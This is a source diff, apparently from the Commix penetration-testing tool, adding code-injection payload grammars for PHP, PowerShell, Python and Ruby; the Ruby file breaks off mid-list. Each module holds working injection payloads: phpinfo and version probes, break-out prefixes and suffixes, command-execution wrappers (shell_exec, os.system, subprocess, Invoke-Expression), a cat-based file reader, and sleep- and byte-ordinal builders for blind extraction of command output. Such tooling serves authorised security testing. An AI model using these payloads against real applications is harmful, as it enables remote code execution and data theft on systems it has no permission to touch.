+def to_number(expr): + return "((" + expr + ")+0)" + +# Wait for as long as the condition is true, and no time at all when it is false. +def delay(timesec, condition): + return "sleep(" + str(timesec) + "*(" + condition + "))" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "((" + condition + ")?\"\":exit())" + +""" +Evaluate one expression and then another, within a single expression. + +The comma operator discards its first side and yields its second only in scalar context - in list +context, the one 'print' or an outer list assignment would give it, both sides come back instead, +first included. 'scalar(...)' forces the one this grammar means regardless of where it then sits. +""" +def sequence(first, second): + return "scalar((" + first + "," + second + "))" + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py new file mode 100644 index 0000000000..866b95ea81 --- /dev/null +++ b/src/core/eval/grammars/php.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re + +NAME = "php" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "PHP" + +# A call whose output says at once that code was evaluated, and which version evaluated it. +PROBE = "phpinfo()" + +# The probe on its own, and wrapped in the functions that would run it where a bare call is not +# evaluated - each is tried until one of them answers. +PROBE_FUNCTIONS = ["" + PROBE + "", + "exec(" + PROBE + ")", + "eval(" + PROBE + ")", + "system(" + PROBE + ")" +] + +# The same probes broken into the string being evaluated, one boundary per row. +PROBE_PAYLOADS = [ + [".print(" + x + ")" for x in PROBE_FUNCTIONS], + [")'}" + x + "'#" for x in PROBE_FUNCTIONS], + ["'." + x + ".'" for x in PROBE_FUNCTIONS], + ["{${" + x + "}}" for x in PROBE_FUNCTIONS], + ["\\\\/{${" + x + "}}\\/\\" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own output looks like coming back, and the interpreter's complaints that say a +# payload reached an evaluated string even where nothing was printed. +PROBE_REGEX = r"PHP Version (([\w\.]+))" +WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"] + +# The language's own functions that run a command, widest first as the level rises. Each is wrapped +# as '${name(' and used as a prefix, so only the ones taking the command as their one argument fit. +EXECUTION_FUNCTIONS_LVL1 = ["exec"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"] +# 'assert' evaluates its argument as code where the version still allows it, and 'expect_popen' +# comes with the expect extension - both take a single string, as the wrapping above requires. +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen", + "assert", "expect_popen"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# No wrapping at all, the way every other language here starts its own list - the value reaching +# the sink whole is the simplest shape and the likeliest, not something worth leaving for level 3. +# Then concatenation, concatenation out of a single-quoted string, and variable-variable interpolation. +PREFIXES_LVL1 = ["", ".", "'.", "{${"] +# Closing a call the value sits inside, and interpolation from within a double-quoted string. +PREFIXES_LVL2 = PREFIXES_LVL1 + [")'}", "');}", "\".", "${"] +# Ending the statement outright, and leaving a comment the value was written into. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["')", "\")", ");}", "\");}", ")", ";", "'", "\";", "';", "*/"] + +# The close tag ends a statement exactly as the terminator below does, and is the only way to end +# one where ';' cannot be written - a value read as the whole statement has to be ended somehow, and +# this grammar's own level 1 otherwise pairs an unwrapped value with nothing that ends it, which the +# interpreter refuses as readily as it refuses a half-written one. +SUFFIXES_LVL1 = [ "", ".'", "}}", "?>"] +# Closing the interpolation, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'#", "}", "}\""] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#", ";//", ";#", "/*"] + +""" +Wrap the shell commands a payload runs in this language's print statement. + +Every command has to leave its output on a line of its own: the results are read back as marker, +output and marker separated by newlines, so anything printed without one runs into the next marker. +""" +def print_statement(separator, commands, chain=None): + """ + Ended only where the boundary it lands in can carry a statement. + + Without a separator the payload goes where one value is read from - inside '{${ }}' it is the + name of a variable - and a terminator there ends a statement that was never started, which the + interpreter refuses outright. The techniques that chain their own commands already ask for it + this way, so a boundary carrying nothing is spelled the same here. + """ + terminator = TERMINATOR if separator else "" + if separator == "": + return "print(" + ".".join(run(command) for command in commands) + ")" + terminator + return "print(" + run((chain or separator).join(commands)) + ")" + terminator + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return "${" + function + "(" + +# A string literal holding the given text. A single-quoted PHP string is read almost verbatim - +# no variable in one is interpolated, and no escape but these two is recognised - so a '$' or a +# backtick in the command is the character it is rather than something the interpreter acts on. +def _literal(text): + return "'" + text.replace("\\", "\\\\").replace("'", "\\'") + "'" + +""" +Run a command and yield its output. + +Handed over as a literal rather than written into the string the backtick operator reads. Written +in, that string interpolated what it found: a command carrying a '$' lost the name behind it to a +variable that was never set - 'printf a$c' ran as 'printf a' and the run reported the shorter +answer as the command's own - and one carrying a backtick closed the string early, so nothing ran +at all. The operator is this function under another name, so a target that refuses one refuses both +and nothing is given up by writing it out. +""" +""" +What the backtick operator reads out of the command it holds, and what each of those is written as +so the shell is handed the character instead. + +The operator's own string is read the way a double-quoted one is: an octal escape becomes the byte +it names, a '$' opens a variable, and a backtick ends the operator altogether. Written as they +stand, a command carrying any of the three arrives as something else - 'printf \141' reached the +shell as 'printf a', the escape spent before the shell was ever asked - so each is written behind a +backslash, which is the one spelling this reading hands back unchanged. +""" +BACKTICK_READS = ("\\", "`", "$") + +# The command inside the operator, as the one holding it has to be written. +def backticked(cmd): + for character in BACKTICK_READS: + cmd = cmd.replace(character, "\\" + character) + return cmd + +""" +The command as it was written, out of the operator above. + +What a script rewriting that operator into a call of its own has to hand the call: the call carries +its argument as a quoted literal, which is read by nothing on the way and needs none of this. +""" +def backtick_command(text): + return re.sub(r"\\([\\`$])", r"\1", text) + +# The operator and everything it holds, an escaped backtick of the command's own staying inside it +# rather than being read as the one that closes it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + +def run(cmd): + # Asked for only where the payload still reaches the target written the way it was built. Every + # script rewriting a payload of this grammar's is written around the operator below - the one + # answering a sink that rejects a quote of either kind could not carry this call's own quotes at + # all - so where any is in effect the command goes in the way it always did, read by the + # interpreter on its way to the shell. What that reading would take is written for it instead, + # so the command still arrives as the one that was built. + from src.utils import settings + if any(settings.TAMPER_SCRIPTS.values()): + return "`" + backticked(cmd) + "`" + return "shell_exec(" + _literal(cmd) + ")" + +# Read a file and yield its contents. +def read_file(path): + return run("cat " + path) + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" +def trim(expr): + return "rtrim(" + expr + ", chr(10))" + +# How many bytes an expression is. +def length(expr): + return "strlen(" + expr + ")" + +# The ordinal of an expression's Nth byte, counting from zero. +def ordinal(expr, index): + return "ord(substr(" + expr + "," + str(index) + ",1))" + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "intval(" + expr + ")" + +# Wait for as long as the condition is true, and no time at all when it is false. +def delay(timesec, condition): + return "sleep(" + str(timesec) + "*(" + condition + "))" + +# Stop the page where the condition does not hold, so what comes back says which it was. +def halt(condition): + # Empty string rather than a number, so what the target was building is left as it was. + return "((" + condition + ")?\"\":exit())" + +# Evaluate one expression and then another, within a single expression. +def sequence(first, second): + return first + "." + second + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/grammars/powershell.py b/src/core/eval/grammars/powershell.py new file mode 100644 index 0000000000..e69002daff --- /dev/null +++ b/src/core/eval/grammars/powershell.py @@ -0,0 +1,270 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "powershell" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "PowerShell" + +""" +An expression whose value says at once that code was evaluated, and which build evaluated it. + +PSEdition tells apart the two families a version number alone would not: 'Desktop' is Windows +PowerShell (5.1, ships built into Windows itself), 'Core' is the cross-platform successor (6+, an +optional install anywhere including Linux and macOS) - the version alone repeats across both. +""" +PROBE = "$PSVersionTable.PSVersion.ToString()+$PSVersionTable.PSEdition" + +# The probe on its own, and coerced to a string where the bare expression is not rendered as one. +PROBE_FUNCTIONS = ["" + PROBE + "", + "[string](" + PROBE + ")", + "(" + PROBE + ").ToString()" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. The version itself is three parts on the +# cross-platform build and four on Windows PowerShell's own (5.1.19041.1682), so the last is optional. +PROBE_REGEX = r"(\d+\.\d+\.\d+(?:\.\d+)?)(?:Core|Desktop)" +WARNINGS = ["ParserError", "CommandNotFoundException", "is not recognized as the name of a cmdlet", + "term is not recognized"] + +""" +The language's own callables that run a command, widest first as the level rises. + +Each is written as a bare name a payload can wrap in a call - none of them is how this grammar's own +'run()' actually reaches a command, which shells out directly rather than asking PowerShell's own +parser to read a foreign shell's syntax as if it were PowerShell's. +""" +EXECUTION_FUNCTIONS_LVL1 = ["Invoke-Expression", "iex"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["Invoke-Command"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["Start-Process"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +""" +A string literal holding the given text. + +Single-quoted, the one quote it needs escaped by doubling and nothing else: unlike a double-quoted +string here, it reads no backslash or '$' as anything other than itself, which is exactly what a +foreign shell's own command line is full of. + +A line break is the one character such a string cannot be written with. It is allowed inside one - +the string simply runs on to the next line - but the payload is then a payload with a line break in +it, and an injection point that is a header carries that as the end of the header rather than as +part of the value. This language has no escape for it inside single quotes either, so the break is +spliced in as the character it is and the quoted runs on each side are joined back onto it. Every +other grammar here writes the same break as an escape of its own; this is that, spelled the way +this one spells it. +""" +BREAKS = ("\r", "\n") + +def _literal(text): + quoted = lambda run: "'" + run.replace("'", "''") + "'" + pieces, run = [], "" + for character in text: + if character in BREAKS: + if run: + pieces.append(quoted(run)) + run = "" + pieces.append("[char]" + str(ord(character))) + else: + run = run + character + if run or not pieces: + pieces.append(quoted(run)) + if len(pieces) == 1: + return pieces[0] + return "(" + "+".join(pieces) + ")" + +""" +Run a command and yield its output. + +'Invoke-Expression' reads a string as PowerShell's own syntax, not as a pass-through to whatever +shell the target's default one is - unlike another language's backtick or 'popen', which hand a +string to that shell however it is written. A command built for that other shell (cmd.exe's +'for /f' loops, or a POSIX one's '$(...)') is asked of it directly here instead. +""" +def run(cmd): + from src.utils import settings + if settings.TARGET_OS == settings.OS.WINDOWS: + return "((cmd /c " + _literal(cmd) + " 2>&1) | Out-String)" + return _read_through_a_pipe(cmd) + +""" +Start the shell and read its output off the pipe, rather than letting this language collect it. + +What a native command writes is collected here as lines: the terminator of each is taken off, and +'Out-String' then puts the platform's own back between them - which is not what the command wrote. +A carriage return of the output's own went with it, a CRLF came back as a newline, and a length read +off either was one byte short per line: 'AB\r\n' was answered with 'AB'. Read off the pipe instead, +nothing is split and nothing is put back, so the bytes are the ones the command printed. + +The command goes in on the pipe as well, not as an argument: an argument list is read for quotes and +backslashes of its own before the shell is ever reached, and is spelled differently again by the +build of this language a Windows target carries. Written to the shell's own input there is nothing +in between to read it, so the command arrives as it was built. 'exec 2>&1' first, which is what the +redirection this used to carry said: the shell's own error output goes the same way as the rest. +""" +def _read_through_a_pipe(cmd): + return ("$($i=New-Object Diagnostics.ProcessStartInfo;$i.FileName='/bin/sh';" + "$i.RedirectStandardInput=$true;$i.RedirectStandardOutput=$true;$i.UseShellExecute=$false;" + "$p=[Diagnostics.Process]::Start($i);$p.StandardInput.Write('exec 2>&1;'+" + _literal(cmd) + + ");$p.StandardInput.Close();$p.StandardOutput.ReadToEnd())") + +# Read a file and yield its contents. +def read_file(path): + return "[IO.File]::ReadAllText(" + _literal(path) + ")" + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" +def trim(expr): + return "(" + expr + ").TrimEnd([char]10)" + +# What this language counts a string in, so the byte of a given position can be asked for. +UTF8 = "[System.Text.Encoding]::UTF8" + +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls the string's length, which is its +characters: a command printing three Greek letters is six bytes and was reported as three, so the +search asked about half of them and the other half came back as nothing at all. The ordinals the +techniques read are byte ordinals, so the two have to agree on what a position is. +""" +def length(expr): + return UTF8 + ".GetByteCount(" + expr + ")" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +Read off the same bytes the length beside it counts. Indexing past the end answers '$null' here +rather than raising, and '[int]$null' is 0 - the same "nothing there" answer every other language's +grammar gives for the same case, reached for free rather than built. The cast binds tighter than +every comparison this grammar writes around an ordinal, so the whole of it needs no brackets of its +own the way a fallback written with an operator would. +""" +def ordinal(expr, index): + return "[int]" + UTF8 + ".GetBytes(" + expr + ")[" + str(index) + "]" + +# An expression's value read as a number, for a command whose output is one - '[int]""' is 0 for the +# same reason the line above needs nothing extra either. +def to_number(expr): + return "[int](" + expr + ")" + +""" +Wait for as long as the condition is true, and no time at all when it is false. + +'Start-Sleep' is a statement, not an expression, so it cannot sit inside the ternary Windows +PowerShell (5.1) does not have - '$(if (...) { ... } else { ... })' is the substitute every version +back to that one reads: a subexpression whose value is whatever its last statement's was. +""" +def delay(timesec, condition): + return "$(if (" + condition + ") { Start-Sleep " + str(timesec) + " } else { 0 })" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. + +'throw' is a statement too, reached the same way as the delay above. Uncaught, it unwinds the +current pipeline rather than the whole process - the same "this response differs from a satisfied +condition's" signal every other language's grammar reaches for here, without a long-running host +process paying for it the way one asked to exit outright would. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "$(if (" + condition + ") { '' } else { throw 'x' })" + +""" +Evaluate one expression and then another, within a single expression. + +An array of the two, indexed for the second: PowerShell's ',' builds one eagerly, evaluating both +elements to construct it, so the first still runs for what it does rather than for what it returns. +""" +def sequence(first, second): + return "(" + first + "," + second + ")[1]" + +""" +The shell's comparison operators, as this language spells them - almost unchanged, since PowerShell +already spells its own the same way a POSIX 'test' does, not with another language's symbols. A +symbolic operator like '==' needs no space around it to still read as one word to its neighbours; +a worded one like '-eq' does, and a caller that concatenates the pieces with none of its own is why +each is given its own here rather than trusted to arrive already surrounded by some. +""" +COMPARISON = {"-le": " -le ", "-ge": " -ge ", "-lt": " -lt ", "-gt": " -gt ", "-eq": " -eq ", "-ne": " -ne "} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/grammars/python.py b/src/core/eval/grammars/python.py new file mode 100644 index 0000000000..7fe0c48cd7 --- /dev/null +++ b/src/core/eval/grammars/python.py @@ -0,0 +1,227 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "python" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Python" + +""" +An expression whose value says at once that code was evaluated, and which version evaluated it. + +The interpreter's own version banner, which no payload carries and no reflection can produce - the +build and compiler it names are written by the interpreter, so seeing them back is the proof. +""" +PROBE = "__import__(\"sys\").version" + +""" +The probe on its own, and wrapped in what would render it where the bare value is not. + +An evaluation sink here is reached as an expression, and what the application does with the value +is its own business - so the probe is offered as the value, and as a string where the value alone +would not be rendered. +""" +PROBE_FUNCTIONS = ["" + PROBE + "", + "str(" + PROBE + ")", + "repr(" + PROBE + ")" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +""" +What the probe's own value looks like coming back, and the complaints that say a payload reached an +evaluated string even where nothing was rendered. + +The version is followed by the build and the compiler, both in brackets - a shape the payload does +not contain, so a target that merely echoes the payload back cannot match it. +""" +PROBE_REGEX = r"(\d+\.\d+\.\d+[^\s\]]*)\s*\([^)]*\)\s*\[[^\]]+\]" +WARNINGS = ["File \"\"", "Traceback (most recent call last)", "SyntaxError", + "NameError", "eval() arg", "exec() arg"] + +""" +The language's own callables that run a command, widest first as the level rises. + +Each is written out whole, the import included: there is no bare name for these the way a language +with them built in would have, and the prefix below only adds the bracket. +""" +EXECUTION_FUNCTIONS_LVL1 = ["__import__(\"os\").system"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["__import__(\"os\").popen"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["__import__(\"subprocess\").getoutput", + "__import__(\"subprocess\").call", + "eval", "exec"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. + +The strings here are quoted with '"', which leaves the boundaries that break out of a single-quoted +string usable and the ones breaking out of a double-quoted string not - the same trade the language +itself imposes, and the sweep simply finds fewer combinations that work on such a target. +""" + +""" +A string literal holding the given text. + +Whatever is quoted here can itself contain a quote - an interpreter one-liner passed with +'--interpreter' is full of them, and so is any command the user wrote with one. Left as they are, +the first of them ends the literal and the rest is read as code that does not parse. +""" +def _literal(text): + text = text.replace("\\", "\\\\").replace("\"", "\\\"") + return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\"" + +""" +Run a command and yield its output, read as the bytes the command wrote. + +Read as text, the handle this language's shortest reader hands back translates every kind of line +break into the one this platform writes: a command printing 'AB\r\n' was answered with 'AB\n', a +carriage return of the output's own came back as a newline, and a length read off it was one short. +Nothing else in this grammar translates anything, and neither does the shell the other techniques +read their answer off, so the output is read as the bytes it is and decoded once, here. + +'-1' rather than the name the module gives that value, which would need the module imported a +second time to say; and the pipe is read rather than the exit status checked, so a command the +target refuses is answered with the nothing it printed, the way every other grammar here answers +one. +""" +def run(cmd): + return ("__import__(\"subprocess\").Popen(" + _literal(cmd) + + ",shell=True,stdout=-1).communicate()[0].decode()") + +# Read a file and yield its contents, as the bytes it holds - opened as text, a carriage return in +# the file comes back as a newline, the same way a command's own output would. +def read_file(path): + return "open(" + _literal(path) + ",\"rb\").read().decode()" + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" +def trim(expr): + return "(" + expr + ").rstrip(chr(10))" + +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls its characters: a command printing +three Greek letters is six bytes and was reported as three, so the search asked about half of them +and the other half came back as nothing at all. Every other grammar here counts bytes, and the +ordinals the techniques read are byte ordinals, so the two have to agree on what a position is. +""" +def length(expr): + return "len((" + expr + ").encode(\"utf-8\"))" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +Sliced rather than indexed, and given something to fall back on: an index past the end raises here +where another language answers zero, and the search asks about bytes that may not be there. +""" +def ordinal(expr, index): + return ("ord((" + expr + ").encode(\"utf-8\")[" + str(index) + ":" + str(index + 1) + + "] or b\"\\0\")") + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "int((" + expr + ") or 0)" + +# Wait for as long as the condition is true, and no time at all when it is false. +def delay(timesec, condition): + return "__import__(\"time\").sleep(" + str(timesec) + "*(" + condition + "))" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + # Double-quoted like every other literal this grammar writes, and not single-quoted like the rest + # of the language's own strings would be: a boundary that never truly broke out of a surrounding + # single-quoted string still parses the two quotes right next to each other as one literal ending + # and the next beginning, so they vanish from what comes back - reading as a real answer to a + # question nothing ever executed. A double quote inside a single-quoted string is nothing to it. + return "(\"\" if (" + condition + ") else __import__(\"sys\").exit())" + +""" +Evaluate one expression and then another, within a single expression. + +A tuple, whose elements are evaluated left to right, with the second one's value taken - there is +no operator here that both sequences and yields the way another language's concatenation does. +""" +def sequence(first, second): + return "(" + first + "," + second + ")[1]" + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/grammars/ruby.py b/src/core/eval/grammars/ruby.py new file mode 100644 index 0000000000..ea4a4145da --- /dev/null +++ b/src/core/eval/grammars/ruby.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re + +NAME = "ruby" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Ruby" + +""" +A constant whose value says at once that code was evaluated, and which build evaluated it. + +RUBY_DESCRIPTION carries the same shape as Python's 'sys.version' - the version, a revision in +parentheses, the platform in brackets - so the one regex below reads either. +""" +PROBE = "RUBY_DESCRIPTION" + +# The probe on its own, and coerced to a string where the bare constant is not rendered as one. +PROBE_FUNCTIONS = ["" + PROBE + "", + PROBE + ".to_s", + PROBE + ".inspect" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"(\d+\.\d+\.\d+[^\s\]]*)\s*\([^)]*\)\s*\[[^\]]+\]" +WARNINGS = ["(eval):", "SyntaxError", "NameError", "NoMethodError", "in `eval'"] + +""" +The language's own methods that run a command, widest first as the level rises. + +Each is written as a bare name a payload can wrap in a call - the backtick operator '`cmd`' runs a +command too, and is reached through 'run()' below rather than named here, since it is not a call this +prefix scheme can wrap. +""" +EXECUTION_FUNCTIONS_LVL1 = ["system", "exec"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["Kernel.system", "IO.popen"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["Open3.capture2", "Open3.capture3", "instance_eval"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", 